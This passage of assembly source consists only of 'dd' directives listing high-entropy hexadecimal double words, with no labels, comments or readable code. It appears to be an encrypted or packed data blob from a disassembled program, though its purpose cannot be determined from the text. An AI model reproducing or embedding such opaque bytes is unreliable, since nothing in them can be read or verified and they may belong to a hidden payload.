0A587D657h, 0E343B9FDh, 0BB5D002Ah dd 74732E28h, 0E6A352B5h, 0D1D4012Dh, 0FE98B8Ch, 0C1DA5235h dd 74028C3h, 0E35E48AFh, 0FE1204A6h, 0F792407Ah, 81EDD1D5h dd 1DA8E53Fh, 0F5817340h, 3FE85CDAh, 792AA83Ah, 255A789Fh dd 5A54DDB9h, 492D246Fh, 5AF3AF12h, 8247EC4Fh, 0C59BFE9h dd 0F65FEF40h, 0B4D367AEh, 6345FA3Fh, 0A4035AD6h, 84E35C9Dh dd 0DC74B882h, 25BE0127h, 0A6B7FC68h, 0E62FA996h, 9059BDA5h dd 6C12ABACh, 57C218F8h, 9D55368h, 5858713Ch, 0A7926FE9h dd 502BE4C9h, 8D5495B4h, 907C5552h, 9F78A250h, 612D939Eh dd 107B4C58h, 5A261FE9h, 0A8823316h, 585E491Eh, 0A83EEDEDh dd 2D45B600h, 0A2FDB4B1h, 747AE978h, 0C1210EB8h, 0E8D3C5E5h dd 0E720C6ACh, 0C6800410h, 0BBF108D7h, 84915EC3h, 5B4017C1h dd 75BEBA00h, 29337A09h, 0CC85554h, 784B50E9h, 8881F0B5h dd 71F33B1Dh, 12DD4459h, 51ADB007h, 80BB792h, 0F81ADA54h dd 1E7609E3h, 0B0000D50h, 61CB4BD2h, 14EACFECh, 0D622742Eh dd 0EA96808h, 0FD4FEF31h, 0B7405B2Bh, 57EED001h, 2DEF7A4Fh dd 0F3D82B41h, 680F13BCh, 0EB48EE79h, 4B0C0108h, 214F100Dh dd 1D07D4FAh, 21687809h, 2D42666Eh, 0E7123EABh, 1C6DF45Dh dd 3CCB52E9h, 0C92D68E6h, 55ADC62Dh, 0FA83EFCAh, 2CA63369h dd 4E888E60h, 0BD64825Fh, 0C889C582h, 62D1A3A0h, 24C04A1Ah dd 0E3D2F624h, 4FA9012Dh, 0F8295549h, 0B3074405h, 354000F8h dd 1772F031h, 6AD32FE9h, 0BE006644h, 1B58439Dh, 25B9E681h dd 42D85063h, 10EC957Ch, 53BA86A0h, 0C734530h, 4E4D2220h dd 85A5018h, 2F140C68h, 849AB65Fh, 0B70F170Ch, 9866F3C8h dd 245ED4F4h, 2050A6Ch, 4E736983h, 0E14D2EFEh, 7442B74Dh dd 0E781008Bh, 53B0152h, 16F71967h, 41200630h, 5D7527E9h dd 0E2B2BEA7h, 0EE647D97h, 6E90880h, 35264566h, 4E6E3A2Eh dd 0FC9C9AB4h, 0B0AC40B8h, 8F169B1Eh, 0DBFBC593h, 84E91F1Dh dd 515FAA5h, 0CD90D3C1h, 0FB8BC5B1h, 0FBB1CA4h, 0C8AB6BACh dd 0EA2ADE8Ch, 57565513h, 0AF2BC0Fh, 7A2008C2h, 87071829h dd 0E20F0212h, 501D6BABh, 727995E6h, 0E9DD2249h, 0BF0A68F7h dd 0AA54095Ch, 0DFD4705h, 11EC6039h, 60090D4Dh, 860B10BEh dd 7E2D52D6h, 0E9FE0B8Eh, 0E7459498h, 9A85772Dh, 6F84EB54h dd 5F15DAFAh, 455CCE01h, 26604FCFh, 0CB8080CEh, 7E061E65h dd 43A81EFAh, 0CDE9BFC3h, 680C228Eh, 36CA1A75h, 0A3935BEFh dd 0DC121004h, 1682F660h, 0F6A065B1h, 1824754Eh, 8485E70h dd 241CFF27h, 0E53BE916h, 1001CBABh, 523B8322h, 0C660FD27h dd 1997E288h, 84602C4Ah, 0B26818D0h, 0C748397Eh, 33684082h dd 0F14E956Eh, 183896BFh, 2B8876E9h, 3F31D8C1h, 106D1666h dd 8BB4F23Bh, 57EDDD52h, 0E9CA2907h, 59EFA49Bh, 2EDDC0FEh dd 9DF82678h, 0B9950097h, 0F9D72AC1h, 1221802Ah, 0DAB75371h dd 510882BEh, 37EAAFA3h, 97841C09h, 9840BC11h, 806293B0h dd 97F28BDh, 63C05A4Bh, 16CD814Dh, 0BFAA2587h, 358B7403h dd 0CEACB5FAh, 0CB6FAD4Fh, 4916B95Eh, 0B4BFA914h, 11DDE91h dd 2791F32Ah, 6344F150h, 6D4E2CA3h, 671081E2h, 0EBB807A1h dd 35B3A851h, 500B02EFh, 0A288E959h, 0D969AEFAh, 12B4F4FDh dd 0BBEDC409h, 474D65E6h, 5E54C706h, 7FBC7803h, 7CAD563Ch dd 0AF1D8C5Fh, 6666AB4Bh, 3473973Eh, 0A953E909h, 841E7F75h dd 488F8B1h, 9F401DAEh, 97546CAAh, 0DB60FBF2h, 16C41ACDh dd 0E1B5E96Bh, 209C6BA8h, 0B5D6FC51h, 8248E004h, 8000704Ah dd 0E0861EAh, 12C5AD0h, 0C230DF42h, 7627297Ch, 7EE9610Ch dd 6A8E2B0Dh, 7838B800h, 3EE945C6h, 7FCB3555h, 0AF97E8A8h dd 0F351F238h, 0A2D7F239h, 8BBBD223h, 5D2C256Eh, 0EEC0C992h dd 3E184AEAh, 9A667C60h, 2A0C2577h, 883E27Ah, 5D141C40h dd 2661A29Fh, 241B508Eh, 1B8C301h, 49B756EFh, 2829E568h dd 0BB079205h, 0C151B63h, 728E6180h, 0F15A4E0Fh, 0DDB9D552h dd 0BD166E91h, 25CB08h, 6858E588h, 26A84BE3h, 8007B6B7h dd 0FD28D2EDh, 4CECC554h, 0C304305Bh, 0C3924F4Ch, 0EFE0075Bh dd 0FA2412C7h, 237FD1Dh, 0AE9E70F5h, 766D5538h, 0E9E83001h dd 823DDAC5h, 9DB2BCD6h, 4363E944h, 9A6B41BFh, 6C67E072h dd 38D040DAh, 2BBAD713h, 967D10AAh, 0C75D5826h, 455A9981h dd 2FEF709Dh, 95E6F1AEh, 0F28320h, 559DBB53h, 0DD213B38h dd 476770FAh, 5AC1F145h dd 86806818h, 637F2B25h, 7964F3E9h, 0C581B43Ch, 0E36A7651h dd 0DC2F1336h, 48F7C9AEh, 5714FB83h, 0ED71248h, 6EA7533Eh dd 63823847h, 14A9303Fh, 0FE4BB1B8h, 0CB031776h, 701F614Eh dd 0F00E0043h, 0E941BB5Fh, 91B14DD1h, 0CC57769h, 664CAD3Eh dd 0BD3F6212h, 0C6F48068h, 632D9A6Ah, 648EA95Ch, 0E5DD0AA5h dd 0DE688961h, 228CB1D7h, 0E8EB162Fh, 80AAA567h, 0A5A0E979h dd 8482C7B4h, 0F03F7173h, 682D0702h, 5101C92Eh, 0F2A622F6h dd 427057h, 0BC191ECDh, 78685713h, 9EE6CBDh, 303D2943h dd 6EB07070h, 0C587F862h, 0A404C001h, 27482605h, 0A185163Ch dd 0E3A22B2Bh, 6A52E9B0h, 0EA42AAB4h, 3534F50Fh, 50FD74BFh dd 0B4C05550h, 171572B4h, 0EFB030E9h, 9677F181h, 0E2F59B27h dd 55856235h, 0D15BF9E8h, 0DDF7ED12h, 1713AA13h, 9F3B03A1h dd 6EBE02AAh, 0F60E520Dh, 0E9090E2Bh, 0C8CB523Eh, 4B0968DEh dd 0FE692058h, 0BEE9703Ch, 5045740Bh, 468AFF49h, 3213074Dh dd 84E55F5Dh, 5121BEAFh, 0C2077133h, 0A2D56377h, 0B889D4Ah dd 444FA254h, 47AEE037h, 94ED2B4h, 0F8ACEC5Fh, 6DEBF3Ah dd 89EAB88Fh, 3C7EF2AEh, 7D31A4F3h, 3B145FD4h, 5604F88Ah dd 0E87C3C68h, 9A1DC4C4h, 0BCF94F0Fh, 5DE32EAEh, 5F680661h dd 541A5257h, 0B19FCFE1h, 6E7B5236h, 1313317Eh, 0CB1D2897h dd 4FE450F9h, 19E7E65Fh, 5E13F021h, 0F2A5F128h, 0C6A297AAh dd 0F8348B12h, 0FDAEB4BBh, 4FC95E29h, 15FD0896h, 58317BF8h dd 0D532945Ah, 0EFC6302Ch, 0E87C220Bh, 40CA7D01h, 78EACE80h dd 81026121h, 1C6589CAh, 6AC0DF37h, 0D0063C92h, 671BE99Fh dd 7509A0A2h, 0C42B60A4h, 54592521h, 65F33125h, 2C2DBDAEh dd 0D3C219D9h, 88D37FAEh, 0D1EE8100h, 0B5575264h, 808696Ah dd 277A18E0h, 6D2CA7EDh, 0C501CDD0h, 6AC0771Bh, 9094137Ah dd 45DAE9CFh, 95C36880h, 5B1F4DC6h, 0D6EFF75Ah, 0E7EB003Ah dd 5A39A2Fh, 38279772h, 20B4780Dh, 5190404Eh, 9A5ADE09h dd 0A8228069h, 312A977Eh, 0E904D6F7h, 0DB907E1Eh, 909AB252h dd 0D51769B4h, 0B108BE5Eh, 0EA01166Ah, 3357BD20h, 602A6016h dd 7B396F02h, 0AB78E917h, 135A3188h, 0FF5B900Ch, 4E10F2CFh dd 6A5026A0h, 469AA08h, 0EA3E8E68h, 71DA278Ch, 212F2D76h dd 5F27C05Bh, 0F735CFA0h, 714B3D3Bh, 2F3EC8BBh, 0C2D29EAAh dd 5609C45Fh, 40657F5Eh, 5E2E16Fh, 7670D2F7h, 3D8D26FBh dd 0A8C3137Fh, 65FE5A65h, 662CEE14h, 2DE24098h, 1E016109h dd 0DE1B0B26h, 0A5721D09h, 13D86BFDh, 14685D0Bh, 5FD6D6AAh dd 27EFDBF8h, 7DFFE9A0h, 99B6B49Dh, 0AC0C1681h, 0B00BA1C2h dd 0EBDF353Fh, 0E90E81E6h, 0EA1609F0h, 2F5CB32Ch, 0B287E9F6h dd 8C2D52CCh, 59CE2900h, 0F6810046h, 0F0A4D2A0h, 71F3405h dd 0A8FB7956h, 5E48072Dh, 55510076h, 935CA868h, 0DA5D6933h dd 2AC69180h, 0E978487Fh, 0D3B72D70h, 7B222551h, 0E9C9D774h dd 391A30F2h, 51AF22B3h, 556AB8h, 177E378Ch, 7F008E05h dd 2D486F0Dh, 5E8BB715h, 5A55FC86h, 5849F4F3h, 64027D4Ch dd 5F627417h, 0B84C44FDh, 439120E1h, 815E597Dh, 0BDC5D7E4h dd 0F0E6E56h, 672E1C9Ah, 13793558h, 0BC719E64h, 8022B1FEh dd 6CB15503h, 0C2F19AC0h, 0F3AAF564h, 2F80225h, 92601B52h dd 0ED2F5914h, 0AA77084Fh, 2F2001BCh, 0EA290BDEh, 557DA96Ah dd 0F43D6B81h, 7C6392D7h, 3BE18248h, 9FD7DEDh, 62ECD98Bh dd 35FE78C7h, 0D41C7F60h, 0EC5A4F5Eh, 0E06F0B8Ch, 80CB0019h dd 4B3B5F58h, 5CD8FF49h, 4B3D12BAh, 16421F16h, 2AF6626Bh dd 15A5B3AEh, 444BB11h, 0BF00B010h, 0DF23177Dh, 0F07B6997h dd 0A3500071h, 1805B66h, 0F5887AEEh, 6FE8305Ah, 0E9B000BCh dd 35CE8605h, 5E5575Ah, 17D7121h, 4AB79254h, 0FA9CEB9Fh dd 0B8A340CAh, 1C60B90Bh, 127FE72h, 9AE6351h, 0DAC07A40h dd 41DC1D67h, 0D1B00089h, 195A8DE9h, 38845084h, 872DC8FCh dd 0FD8ACBF6h, 3CF959Ch, 0EF2EB559h, 0B701AC34h, 92CFFE78h dd 0F7DC8B2Ch, 8961B951h, 907C7AA0h, 3B3F6861h, 5142CC6Ah dd 0B645B109h, 89857763h, 0B9BDD8DBh, 4B7EDC0Bh, 9AFF800Bh dd 0EC29D24Dh, 7C8E01C9h, 27E92D70h, 51413B2Eh, 6535780Ah dd 994A6B60h, 0E03E6449h, 0D82529DDh, 2409DF2Dh, 6B00607Eh dd 0F055A77h, 58E00542h, 162DE829h, 3F88AA07h, 54142DE9h dd 4E5B7A48h, 965176EEh, 0C7C0CEC1h, 0DF3E228Bh, 5250801Fh dd 0F1337C68h, 0D9AEC95Ah, 0E258B02Bh, 34220504h, 4D95942h dd 95FF2A60h, 0D655A142h, 48E98509h, 0D34EB86Eh, 0EA2F7189h dd 0AF233F69h, 95363896h, 770D1F6Bh, 589B2B02h, 289EF071h dd 26E7EA5h, 0D6F6CEFEh, 39B5A7C0h, 59E88809h, 62DA0A30h dd 7F245E3Ch, 0FCA03082h, 3504C965h, 5F8FA8E7h, 893238BBh dd 0C3D9434Ah, 0BD7D67E8h, 0C988646h, 53274796h, 7F264C36h dd 84AD974Fh, 9189A87h, 2799CC7Fh, 0F127060h, 53CCFE55h dd 0D759A12Dh, 0C0B0E81Ch, 0F66A2095h, 390D5EDCh, 0F34F680Bh dd 58565022h, 327F1B02h, 242BDFE9h, 98F1EAC5h, 4091FF20h dd 5190AD86h, 0C9517309h, 87E30049h, 0E7281F09h, 2FE92460h dd 496839F3h, 61827D27h, 0E9523F13h, 355B555Eh, 744E8CA0h dd 0A76C73A1h, 74549F1h, 7A57284Dh, 0FC484FB2h, 84D8EA9Eh dd 0C5E9D588h, 102FADE1h, 0BB0E6E7Eh, 502479F8h, 53948393h dd 1FF9C1ADh, 86EA0420h, 748B22Fh, 308CDE71h, 9BE1099h dd 3AC4549Bh, 0E60565D0h, 9675108h, 789EB400h, 37E96CA7h dd 0CEB33BCEh, 546286E2h, 0AA2A8B83h, 3721FD5Ah, 0B23BA0EBh dd 2FB9059h, 61373C21h, 4E53D549h, 1F357101h, 0F0BD2947h dd 970A042Ah, 3D7A700Fh, 12EF8BD5h, 2EE74415h, 97368E77h dd 0D376B8C5h, 8A6ED3C8h, 96D59760h, 2529AD29h, 565EA32Ah dd 502323FBh, 91ECD0DBh, 9C76C0h, 9706EDC1h, 539FCDFCh dd 9B54BAE8h, 3509BFCAh, 0B9EFBEh, 8B0C182Ah, 0D8F72665h dd 756A1071h, 0E2FD74D6h, 0CC61BF12h, 0FE94C7EDh, 0A026752Dh dd 0F2BF2F0Dh, 0A97549D1h, 8241874Eh, 85F48C6Bh, 1C36246Fh dd 95ECE0D4h, 0AD1B1585h, 0D188F51Ah, 95AC6157h, 6B1C8BDAh dd 788578A3h, 97DAB3ABh, 6854CCAFh, 722D542Ah, 314B30F0h dd 4A51134h, 515EF5E0h, 6AF09E55h, 2D1E0107h, 0C86DF9CFh dd 0E8843048h, 11437582h, 93F2063Dh, 878CB1E4h, 0F68A4A32h dd 8EAA978Ch, 135B20C0h, 0A56FB01h, 0A72A71B1h, 0C60B1856h dd 0C22C0908h, 0E0178E07h, 0E9490731h, 0F599523h, 53966805h dd 0FB2475A3h, 0D80984C2h, 7AA4BF5Bh, 2B980BBBh, 3DDE6FFAh dd 12D98E08h, 9BA6FE5Eh, 0E15ED2D0h, 0CC2C2B52h, 0F62E4E63h dd 54BE4BACh, 7000C639h, 294A7B79h, 0FAE659CFh, 0EC95EDACh dd 0BC52D747h, 61B8B560h, 7CA6E9E1h, 2FBA4E38h, 20F04899h dd 2D87A1D7h, 89D0747Ch, 88A6044Eh, 0DD81EAFCh, 0CA2066E7h dd 378D62BFh, 450F1C28h, 28AF88D0h, 5360D87Dh, 0D36CE8F8h dd 82BB077Bh, 0E19211B3h, 3E46E9CBh, 1F687602h, 62785C60h dd 0C12FAC78h, 12947F02h, 92F367ECh, 7B21B016h, 30518125h dd 0E0B553D6h, 0BE935BDCh, 0B37DEFEEh, 3DA80E1h, 73A161F5h dd 4D87AC74h, 66D3FE34h, 75312AA5h, 5A5B7872h, 51E4820h dd 0C17C302Eh, 95BE0DE5h, 21AE2AC9h, 759EEB2h, 5667DDFEh dd 0A2F5E9EBh, 0F7DC4FB2h dd 0C8D5641Ah, 4685532h, 4DAB1387h, 92ECBF5Dh, 4850E4D9h dd 684251F6h, 7402592Fh, 0C44E493Bh, 29EA43D2h, 43422B51h dd 5D6CAB68h, 0E916671Eh, 0EAA8A133h, 1D9CE2E7h, 6AF040E6h dd 4FD4C1AAh, 3C9E058Ch, 4FE002Ch, 0A9B353AEh, 5267EB80h dd 0F360E406h, 4A8BE9E6h, 0C96BE654h, 4034A5D3h, 0DD53A94Bh dd 0FE5B62A0h, 0EF2D80C7h, 0A0A1D5E5h, 421C5F21h, 914A3E44h dd 5179ABD0h, 578FEF2Dh, 53D6E7ACh, 7604516h, 85450BAh dd 0D784E24Ch, 5355091Bh, 0C2A717B9h, 29D505DAh, 25765380h dd 0A5396CFEh, 2F70E502h, 77F7A3DDh, 2A5F76A0h, 0CEAAD0Ch dd 0D028512Ch, 89B54AB5h, 0FE717D32h, 9716D0CAh, 66427321h dd 4EF5DA3Eh, 4DEC31AAh, 0F9DC2456h, 5C9AD3EEh, 0F02EDEB7h dd 0ADBAC9E9h, 0EE3C5795h, 0A4B0E924h, 98BD5E93h, 88FB7600h dd 59CD0146h, 58DA5E9Fh, 0DB9D2153h, 0BEFE2785h, 2E175212h dd 0DFEDD492h, 0F2DE464h, 66165495h, 282C572Dh, 2538E5F3h dd 40161C2Fh, 13B20AEEh, 656FC3B4h, 0B58CCF7h, 3F2BDF38h dd 411A1707h, 0BDD81C8Ah, 7E2F5D9Dh, 53A419A5h, 3B5531Bh dd 554B68B4h, 0E3F3E9F9h, 0A0E7C502h, 0C10DC634h, 4BF0A372h dd 1FD3A07Eh, 8A912485h, 94E90455h, 0C367D136h, 53EA3A25h dd 9910C0D5h, 6B5CF42Dh, 5C4B123Fh, 89675E3h, 0BD011957h dd 70094B23h, 0A59DC96Bh, 10FFFA2h, 160AAC66h, 27B15A48h dd 52BD5424h, 303B8Eh, 5FD4BB53h, 24F769ADh, 3E743D3h dd 3435085Ah, 94305804h, 0D9A8B4EAh, 8F5DBE65h, 9AB300A9h dd 0E94ECB80h, 0BBBF5B54h, 41378F3Ch, 37673F57h, 485FBAC2h dd 2F071CCCh, 6D70376Eh, 0C2400782h, 43B26D84h, 0D23CE60Fh dd 9E8B7D40h, 0D549314Ch, 0C53ED357h, 0B7AEE68Fh, 0DF552DA5h dd 68174B9Ch, 0BD3779A6h, 7720E635h, 9DF069E9h, 0F4A79B59h dd 0FCD1AD9Fh, 8597D564h, 6F57C9B0h, 8720033Ah, 31DEF7F1h dd 8CE26A7h, 456E92Ch, 3853AD8Ah, 0FFA30E62h, 0C203DDA4h dd 8EF9A76Ch, 0EFFDE25h, 0B480A5B2h, 58E230B3h, 4083DF95h dd 0C29945F2h, 0A7C9DBA0h, 0F9C22E88h, 7710E2C3h, 7A3E3249h dd 0B80EEBE0h, 34734A26h, 48E1A695h, 0B9B64ABEh, 0FB4F9748h dd 0C3449364h, 0A2FFA5F6h, 91FFD34Bh, 7A887Bh, 0E120EC80h dd 9D16BCB2h, 0BA68D3A0h, 3EEB4718h, 504ECA0h, 2979056Ch dd 0BA2DFBEFh, 2634BAECh, 7E174F5h, 82715F03h, 76C1F701h dd 96B0223Ah, 0E75CBEAh, 28FF55E6h, 1E123C8Bh, 7BBDB3A5h dd 39CAAA5Fh, 2D89DA27h, 0CF956355h, 0C3CAC289h, 94EA9521h dd 0D5B7ABDAh, 0B4614D12h, 3E5ADC36h, 524469B0h, 151543A7h dd 0C7389698h, 0BF82C13h, 5890ABAAh, 2F0F5312h, 0A9FB311Eh dd 2D2E5h, 1035D0F7h, 25521857h, 36C5E1Dh, 402D1832h, 5B792191h dd 0F67D0731h, 0A054C0B1h, 6EB0F389h, 0DF2D9D94h, 5F946F96h dd 7C3225BDh, 178BE480h, 0ECA5B7F9h, 2546CA4Dh, 2870E108h dd 78BC6B89h, 2C622A7Dh, 2941688Bh, 0D8657F24h, 0DC027549h dd 500054B7h, 7D3268h, 2D585AADh, 2AE20B64h, 7E0C112h dd 58A09CEBh, 42413500h, 0B6E966FAh, 665D694h, 9E677FDCh dd 2C4F6812h, 34C9EEE2h, 0A81E67DFh, 5BEC0742h, 6B011CF4h dd 16086088h, 0AF01BB58h, 56E477A8h, 60596330h, 0EEC33936h dd 574FD418h, 92E03BF0h, 2140BDC6h, 749F995Eh, 0A4C1E4A3h dd 6240CD1Dh, 13705EE9h, 0C054ED7Fh, 26E30EBDh, 0FEC030E9h dd 0B24BB322h, 9784BB4Ah, 777F2A82h, 3164D578h, 2FC14110h dd 0BF388823h, 43BBC515h, 403AD39Eh, 5BC33508h, 681622B3h dd 0FBCC655Dh, 5F1F12FCh, 0AD47A14Ch, 1F47540Dh, 3A369EDh dd 11696066h, 2E6C97D9h, 215A7242h, 1E1A57D9h, 0E92AF34Ch dd 0F7AED4CEh, 886BD69Fh, 0CF2853EBh, 0AA245678h, 9C97D9Dh dd 317FA321h, 68D690F2h, 5F5167E4h, 0A424B8C5h, 87EBE112h dd 0A9165811h, 0B3FAC1EBh, 0D8F700ABh, 4F96F055h, 4221EAAFh dd 0B63E60BBh, 0EFA0716h, 0AD71452h, 7D3A3992h, 3E10C563h dd 81017287h, 0E51125E3h, 83112054h, 0F4361912h, 492D99A8h dd 0F96E71FEh, 6D286C76h, 0D01AF97h, 638E0EF0h, 95092CBCh dd 78784DF3h, 0F41D6827h, 13A56867h, 0D47AFC58h, 0A7D5C81Ah dd 6148C6E0h, 5AB05CBDh, 71DEDAF7h, 79808270h, 740C266Fh dd 1D83C198h, 40A6CB0h, 9F4D337Bh, 77052546h, 6C026867h dd 0DD6BBC11h, 5BCC1C30h, 4AF75180h, 0B46EFC1Ch, 1FDE34BEh dd 66948487h, 0CD5FA130h, 0D49C6EFEh, 3DA249D3h, 844EF5Ah dd 35007C23h, 5B73F430h, 0F72578BEh, 1D77806Ah, 89550574h dd 3C46AEDDh, 0C05AFAF2h, 583CCE9Ch, 0CD612128h, 8706E9CBh dd 2B976800h, 44F0E9Ch, 3DEC59C0h, 7F65E9F0h, 1022BE81h dd 1926FF4Eh, 97ADB278h, 2D583675h, 9F92021Dh, 8F7F5A02h dd 5AB9D45Dh, 4A7B4257h, 3F24D507h, 0B15DECFEh, 0DA7E4221h dd 24AE5AAAh, 81B7EBF7h, 5E00224Fh, 0B2EC23FDh, 705B7932h dd 5D5CBF1Fh, 22F6D3D9h, 0E02151DDh, 0E3D0503h, 1E354801h dd 0E9CA7CB6h, 0DBAC48C6h, 0FEA7F954h, 8D5FF3EEh, 4BE7218Ch dd 27EEF479h, 0FE525F4Fh, 7968ED21h, 0B57F17A8h, 0A1BA8A00h dd 414BDC9Bh, 312EFDF8h, 36E12FE5h, 0B3D02443h, 0B0506C03h dd 0E6E52410h, 6D989DE6h, 0B18B551h, 8004DDF6h, 44B24FE5h dd 6D1405h, 2F551EBFh, 0B529F454h, 5C51490Bh, 0C56AF669h dd 80FEB0E7h, 766C22Ch, 2CB7D1Eh, 8239515Ch, 368D0C1Dh dd 4CB4D540h, 217E910Bh, 3B1A03D7h, 0D12D391Ch, 84DEA05Ah dd 0E3349C4Bh, 0E9B6E8EAh, 50D9A5FEh, 0E65032FEh, 705DC069h dd 7A133699h, 0A5BD3866h, 0EA72B101h, 197C0152h, 2830C05h dd 0A1404A7Bh, 86F02EF6h, 0BCF04F30h, 60EBA495h, 0C38853CCh dd 0F4A87BE5h, 72E0FEA5h, 83E980CFh, 0CCBC574Ah, 34E0F5E1h dd 3517C380h, 0E213E24Ch, 0FFD65509h, 77A5E4E5h, 72E9BD10h dd 80A25E4Ah, 0CE090C88h, 0F8B05D05h, 2D2C31B2h, 0A6032F5Eh dd 0B0194923h, 2D036ECBh, 1CD45385h, 0F6AEC982h, 20CFD864h dd 1AC09847h, 715C2907h, 4CF35801h, 615E0840h, 28E98233h dd 5FB36B45h, 95F0E2DDh, 2139F681h, 4E501610h, 951FF6F4h dd 56808975h, 776ACEh, 2854B267h, 382DE9EAh, 0D654A019h dd 973EAE17h, 0B87E88D8h, 928122Dh, 0F41657F5h, 0FE5A770Bh dd 28005F28h, 1E0C4CAFh, 0DE5E0CC2h, 5CB6C235h, 0D5D90B87h dd 91133A77h, 5D291CB2h, 6852E005h, 0AB1FC83Ch, 0CC46255Ah dd 3FC36602h, 4213FDB2h, 7940E91Dh, 280F7300h, 0FC685553h dd 0AF5F5E5Ah, 8DE01344h, 2AD2A718h, 0CA79222Dh, 5E0805DFh dd 0F6F166EBh, 0F9CF14B5h, 0FCC25FEBh, 846D48A3h, 5903824Ah dd 0BAF5E8C1h, 0A08323B5h, 9971F8Fh, 3EAA69D9h, 0C6B32177h dd 0F2CD1D18h, 0FCEE9766h, 9D5041Ah, 7880486Dh, 6044E4CFh dd 207EC439h, 12E11C6h, 0F301FDD5h, 2D217375h, 4EAD55D0h dd 0E96A810Fh, 0CFF57FF7h, 0F23DE43Dh, 869BDE9Ah, 68BC01F7h dd 8B8B60AAh, 325FB0A7h, 7736C20Eh, 26D27EABh, 0EBDBD660h dd 5E795FAAh, 6C41AA2Ah, 679269DAh, 26CF3FCh, 0E9752555h dd 3C6A6E30h, 3570FB10h, 6B3AD19Dh, 1668147Fh, 89FE9BE9h dd 6B9F2187h, 13C3F0B0h, 0BF1AEB80h, 2FE90388h, 662D1C15h dd 3945D330h, 90017C08h, 28680906h, 0E9311018h, 0E35D5FECh dd 0C5F8181Bh dd 13B7C3F5h, 0B4B4830h, 6BF041C6h, 48F5817h, 11527ECBh dd 1BEB2210h, 0C904D7F7h, 806578D5h, 0A046AC2Ah, 0A007E3C1h dd 3F0F54A3h, 0EE82456Bh, 188216CCh, 0C657E155h, 11B40845h dd 0FDB1F191h, 0D4124E1Eh, 260E6C1h, 89B4F612h, 56C42968h dd 0D8F7BEBEh, 112A0C1Eh, 2DF458F0h, 0C8468989h, 0B95E4ECDh dd 99E9C55Ch, 17BB3ACh, 58C68820h, 7025F680h, 0A9BE97FCh dd 0B7568E1h, 5FFE75C2h, 47765D72h, 4DAE42h, 0FDCEC181h dd 0A5E41D26h, 0D7349313h, 82B1FDAAh, 78BEE903h, 0BFE8EE30h dd 6825B41Ch, 27187208h, 63987DD1h, 18973E5Bh, 0BADF8C7Ah dd 0C845FD72h, 9AEC6381h, 26F73C8Ah, 2BAFBE66h, 0E689E60h dd 0EC24504Ah, 9D052ADCh, 62B2BB30h, 6E28017h, 886D1402h dd 0C0167FD7h, 70A2E912h, 0EE72C6D7h, 88345E65h, 22F92FBh dd 7F3F9Fh, 0CA7382B9h, 0F1811101h, 16AE388Eh, 681C5578h dd 0A666E5A5h, 0E25EC902h, 5D464E7Ch, 4D95121h, 0D9C1E9C7h dd 2D0F7003h, 4E9D2012h, 55876244h, 190EED57h, 0B318565Fh dd 0B67A5203h, 232D80h, 356AC806h, 0D3979F1h, 49E939C2h dd 1A06A6Dh, 1B6E16F7h, 8D1C073Eh, 2924916Ch, 81CA0F9h dd 4A141CD0h, 0AD20428Dh, 72A616AAh, 6BB5F1DBh, 0D32B9EE1h dd 0BFF514EAh, 9F50279Ch, 5624BB51h, 0B2F37013h, 0A5164A4Ch dd 0B9D3F822h, 8B15DC69h, 235AC23Ah, 17E1CD0Bh, 69F32D7h dd 2827125Dh, 16B4160Ch, 6703FB9Bh, 25D396E9h, 0D6F94E26h dd 0A8B2A960h, 1F29021h, 52B0E8Ch, 3E6F19E9h, 0BDB59146h dd 0F3C70767h, 0B3181470h, 0A52E7E3Ch, 91199CD6h, 0A159FE99h dd 8B1FAC6Eh, 2C95854h, 78064065h, 0AF4B2AE9h, 5BFA28E0h dd 0F35E0CF2h, 0C18524AFh, 0C9739BABh, 0EDB36459h, 1C0608A3h dd 1E6377A6h, 85E92C65h, 0B7B4430Eh, 0C458E781h, 320EB151h dd 648E980h, 0EE1A59CFh, 0E70D5AC7h, 0D0543F3Ch, 3E4DE2E2h dd 4710830Eh, 0D0C0D54Ah, 0A0C91191h, 0B62CF583h, 2C68154h dd 2021D2A9h, 56B6EE9Ch, 9075916h, 65A2618Ch, 2FF3D5ECh dd 794CD525h, 0C7798C90h, 25FAECBFh, 0EC7DE7DDh, 98681366h dd 88B8F946h, 2DBB01F8h, 0E8DA7384h, 76BFF2F6h, 85014F83h dd 29C5E3F1h, 766705CAh, 800492Ah, 3C1A6E8Ah, 166AFFE9h dd 0F6BEB83Ch, 0A1682679h, 7EDCA5Eh, 70125566h, 0EDAB98B9h dd 5FE0F34Ah, 0DD9225E9h, 151FC87Fh, 0C3D14188h, 0F12833A7h dd 5CFC064Eh, 6E1BE982h, 0DF3F90D7h, 71631B5Fh, 0EEB53089h dd 94E98431h, 51510E3Bh, 0AF6402C5h, 0E77B598Dh, 13E916BBh dd 13ADEAE0h, 64061068h, 0EE70361h, 822F532Eh, 0C732A076h dd 924CD568h, 738D13DAh, 0F29516D7h, 5AE9C421h, 2D0205BCh dd 0C91A5BEAh, 0F714D97Eh, 74CF27CEh, 0B3CA87E0h, 0B217077Ch dd 645621E8h, 0E037F83h, 0C28D960h, 277C57C2h, 3036C472h dd 0C3AB7071h, 0C0262745h, 8F02090Bh, 0C51F286Eh, 1423A506h dd 8D1E70FEh, 89988CEAh, 957AC976h, 0ED0E13FBh, 0CEBB1736h dd 9BB460B7h, 7640983Bh, 42264168h, 76556AF5h, 91B2E32Ah dd 12544D48h, 20AA2799h, 353D67FDh, 0CA797690h, 9AF55E4Ah dd 993CE2F5h, 1A858A28h, 86C8802h, 0A7C247FDh, 0E941AF79h dd 0A86B49A6h, 2DEEB5FDh, 10F848Dh, 13BE54E9h, 0D93CEECDh dd 99B954E9h, 52ACEC49h, 9602C7DFh, 436B9B4Ch, 41A5C4E0h dd 0D68D3E2Dh, 1250150h, 2C30AE69h, 6BD1B08Dh, 5D2E0921h dd 4569E809h, 975AD729h, 3801E887h, 122976D7h, 0E85E9117h dd 4F9E809Fh, 0FF017E0Ah, 0B9282277h, 257F970Eh, 84EE55CDh dd 0E55E07A3h, 0C01C6454h, 6102397Eh, 0E943561Fh, 0E7259758h dd 9831077Fh, 0D4EFD125h, 6EFDAF86h, 9326AB2Ch, 5D4FF431h dd 67DD8E4Bh, 4E3DF530h, 1886B42Dh, 5C83137h, 2668088Ch dd 6B3430A3h, 59158EF0h, 4B9A03E9h, 0F98109FCh, 3A1794FDh dd 0CD9301BBh, 30846B0Bh, 2CF4E573h, 186F9C33h, 477FE8DCh dd 10DD60F7h, 4BC64C78h, 0A5E781BFh, 3C70A7B8h, 96D597AAh dd 25DF9D9Bh, 0CBBB3018h, 0B8D86194h, 0FA3AFFDAh, 160C9E65h dd 2F681990h, 0D7667287h, 52808BE6h, 